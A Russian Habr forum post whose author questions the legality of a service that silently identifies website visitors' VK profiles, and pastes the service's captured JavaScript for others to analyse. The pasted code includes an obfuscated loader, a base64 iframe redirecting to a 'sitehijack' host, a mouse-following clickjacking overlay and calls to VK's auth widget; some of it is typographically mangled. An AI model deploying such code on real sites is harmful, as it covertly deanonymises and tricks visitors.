Теперь любой сайт может узнать адрес вашей страницы в VK?

Наткнулся на сервис позволяющий разместить на своём сайте js-код, который определяет ID посетителя без авторизации. Пользователь об этом совершенно не догадывается, т.к. определение ID происходит при загрузке любой страницы сайта без всяких вопросов об авторизации.Для маркетинга это открывает широкие возможности, но никак не вписывается в мои представления о безопасной передаче персональных данных.

Т.е. например, допустим, занесло вас на какой-то порно-сайт, а через полминуты в контакте бот пишет вам в ЛС или на стене предложение приобрести рекомендуемый именно вам товар или услугу в соответствии с разделами, которые вы посещали на сайте, или в соответствии с поисковыми запросами, через которые вы попали на этот сайт.

Любой сайт после установки этого шпионского скрипта, будет знать о своих посетителях почти всё, в плоть до номера телефона, если он указан. Понятно что пользователи сами несут ответственность за то, какие данные они выкладывают в публичный доступ, но заходя на сторонний сайт я не даю согласия на обработку моих персональных данных.

Создатели сервиса утверждают: «Никакого взлома или иных противоправных действий сервис не осуществляет. Мы идентифицируем заходящего человека и накапливаем открытую информацию.». Но я считаю незаконным сам факт идентифицикации. Поправьте меня если я не прав.

Ретаргетинг вконтакте работает похожим образом, но он не даёт доступ к профилям попавшим в группу ретаргетинга.

Может найдётся кто-то среди хабра-специалистов по вэб-безопасности кто сможет осветить эту тему в деталях?

Ссылку на сам сервис найти не сложно. Вопрос в другом: как вообще это стало возможно в таких масштабах?

Поковырял код, но мало что понял. Какая-то xss-магия с фреймами.

function _SFLoad (i, u) { setTimeout (function () { var d = document; f = d.getElementsByTagName ('script')[0]; s = d.createElement ('script'); h = escape (d.referrer); s.type = 'text/javascript'; s.async = true; s.src = u + »? id=» + i + »&h=» + h + »&r=» + Math.random (); f.parentNode.insertBefore (s, f); }, 1); } _SFLoad ('e2a918d41d8cd92109706323', '//socgate.ru/strack/');

//Request URL: http://socgate.ru/strack/? id=e2a918d41d8cd92109706323&h=&r=0.5261518063489348 function console_out (str) { console.log («SFLog:» + str); } console_out («loader v0.3»); console_out (»1947»); console_out (»9213»); console_out (»9811»); console_out (»7314»); console_out (»5745»); console_out (»5848»); console_out (»7372»); console_out (»6521»); console_out (»2262»); console_out (»9673»); console_out (»8312»); (function () { var c = «noindex»; var _0×5e2b = [»\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65»,»\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64»,»\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65»,»\x6C\x65\x6E\x67\x74\x68»]; setTimeout (function () { var _0×5525x1 = document[_0×5e2b[0]]©; while (_0×5525x1[_0×5e2b[3]]) { _0×5525x1[0][_0×5e2b[2]][_0×5e2b[1]](_0×5525x1[0]); }; }, 50); eval (_0×5e2b); }()); if (navigator.userAgent.match («Android|BackBerry|phone|iPad|iPod|IEMobile|Nokia|Mobile|MSIE|iPhone|webOS|Windows Phone|Explorer|Trident»)) { mnoload = false; console_out ('7422'); } else { mnoload = true; console_out ('9418'); } isSafari = ! navigator.userAgent.match (/Version\/[\d\.]+.*Safari/); if (isSafari) { mnoload = false; console_out ('5743'); } if (! navigator.cookieEnabled) { mnoload = false; }

function are_cookies_enabled () { var cookieEnabled = (navigator.cookieEnabled) ? true: false; if (typeof navigator.cookieEnabled == «undefined» && ! cookieEnabled) { document.cookie = «sfload»; cookieEnabled = (document.cookie.indexOf («sfload») != -1) ? true: false; } return (cookieEnabled); }

if (! are_cookies_enabled ()) { mnoload = false; }

iframe_url = 'data: text/html; charset=utf-8; base64, PCEtLSBzb2NmaXNoaW5nIHJlbG9hZCAtLT48bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vZm9sbG93IiAvPjxzY3JpcHQgYXN5bmM+IGlmKCIiIT13aW5kb3cucmVmZXJyZXIpIHsgY29uc29sZS5sb2coIlNGTG9nOiA5MDE0Iik7IHdpbmRvdy5sb2NhdGlvbi5ocmVmPSJodHRwczovL3Vjb3otaG9zdC5ydS9zaXRlaGlqYWNrLz91PTgxN2E3NWNkZmZlYTU2ZjA5MDYxODZhODMwOTAyZDE0ZjNlZWQwY2VmMDdiMTJiYzg1MmZiOWU2ZWQ3NWUwODUmaG9zdD1kYjZmMzhkY2Y3ZjE0ZWIxYzkzMGQ5ZjE3YjlkNzU0ZGYwZjVjMGRlJnVpZD1hNjY1Y2Y1OTNiMGMzNDY3ZWQzYmExZWU4NzRlMTVhZDE2NDBmZDUyNzI3MTc1MTk1MGE2Y2VjYmE1Njk4YTQ4MmFmZTI4MjU5ZDg2Y2QzMTY0ZTMxYzVkOGNmYTg4ZGFlYjkxMDQwY2E4ZTIwZjk1ODE0ZjI3NWE0ZGFiMGFiNzVjMWNlOWRiN2YyM2JhODBlMjBmZDI5Zjk4YTUxNDZiMmE5MGQ1ZGI4MDk0YjFlMmFkZjJhZmVlOGE0ODhkOTA3NDVlMDk2MGE4NDgzMCI7IH0gZWxzZSB7IHdpbmRvdy5sb2NhdGlvbi5ocmVmPSJkYXRhOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04O2Jhc2U2NCxQQ0V0TFNCVFJpQXRMVDQ4YzJOeWFYQjBQbU52Ym5OdmJHVXViRzluS0NkVFJreHZaem9nTlRJek1TY3BPM2RwYm1SdmR5NXNiMk5oZEdsdmJpNW9jbVZtUFNkb2RIUndjem92TDNOdlkyZGhkR1V1Y25VdmRISmhZMnN2ZG10ZmMyVnVaQzV3YUhBbk96d3ZjMk55YVhCMFBqd2hMUzBnVTBZZ0xTMCsiOyB9IDwvc2NyaXB0PjwhLS0gc29jZmlzaGluZyByZWxvYWQgLS0+'; if (mnoload) { console_out ('1388'); document.oncontextmenu = new Function («return false;»);

var sf = document.createElement ('div'); sf.innerHTML = '

"; document.oncontextmenu = new Function("return false;"); function handlerMM(e) { x = (e)?e.pageX:document.body.scrollLeft + event.clientX; y = (e)?e.pageY:document.body.scrollTop + event.clientY; if ((x>0) && (y>0)) { document.getElementById("sfcontent").style.left = x-5; document.getElementById("sfcontent").style.top = y-5; } }

var isFramed = false; try { isFramed = window != window.top || document != top.document || self.location != top.location; } catch (e) { isFramed = true; }

if (isFramed) { document.write(dmsg); document.onmousemove = handlerMM; }

////

//// /* js reload */ var uid = document.createElement ('script'); uid.type = 'text/javascript'; uid.async = true; uid.src = 'http://target.im/uid/? to=a665cf593b0c3467ed3ba1ee874e15ad1640fd527271751950a6cecba5698a482afe28259d86cd3164e31c5d8cfa88daeb91040ca8e20f95814f275a4dab0ab75c1ce9db7f23ba80e20fd29f98a5146b2a90d5db8094b1e2adf2afee8a488d90745e0960a84830&file=dev.js'; document.body.appendChild (uid);

//Request URL: https://ucoz-host.ru/sitehijack/app/? u=1408549758

//Request URL: https://ucoz-host.ru/sitehijack/app/oapi.php? s=1734885626 function console_out (str) { console.log («SFLog:» + str); } console_out (»5231»); console_out (»2351»); console_out (»4151»); /*

hijack reload */ (function (w) { if (w.fastXDM) return; document.oncontextmenu = function () { return false; }; var handlers = {}; var onEnvLoad = []; var env = {}; …

Далее идут запросы к vk.com //Request URL: https://vk.com/widget_auth.php? app=4296904&width=300 px&_ver=1&url=https%3A%2F%2Fucoz.ru&147f41b5b77 //Request URL: https://vk.com/js/common.js?306 //Request URL: https://vk.com/js/api/xdm.js?8 //Request URL: https://vk.com/js/api/widgets/auth.js?11 //Request URL: https://vk.com/js/simpleajax.js?78

© Habrahabr.ru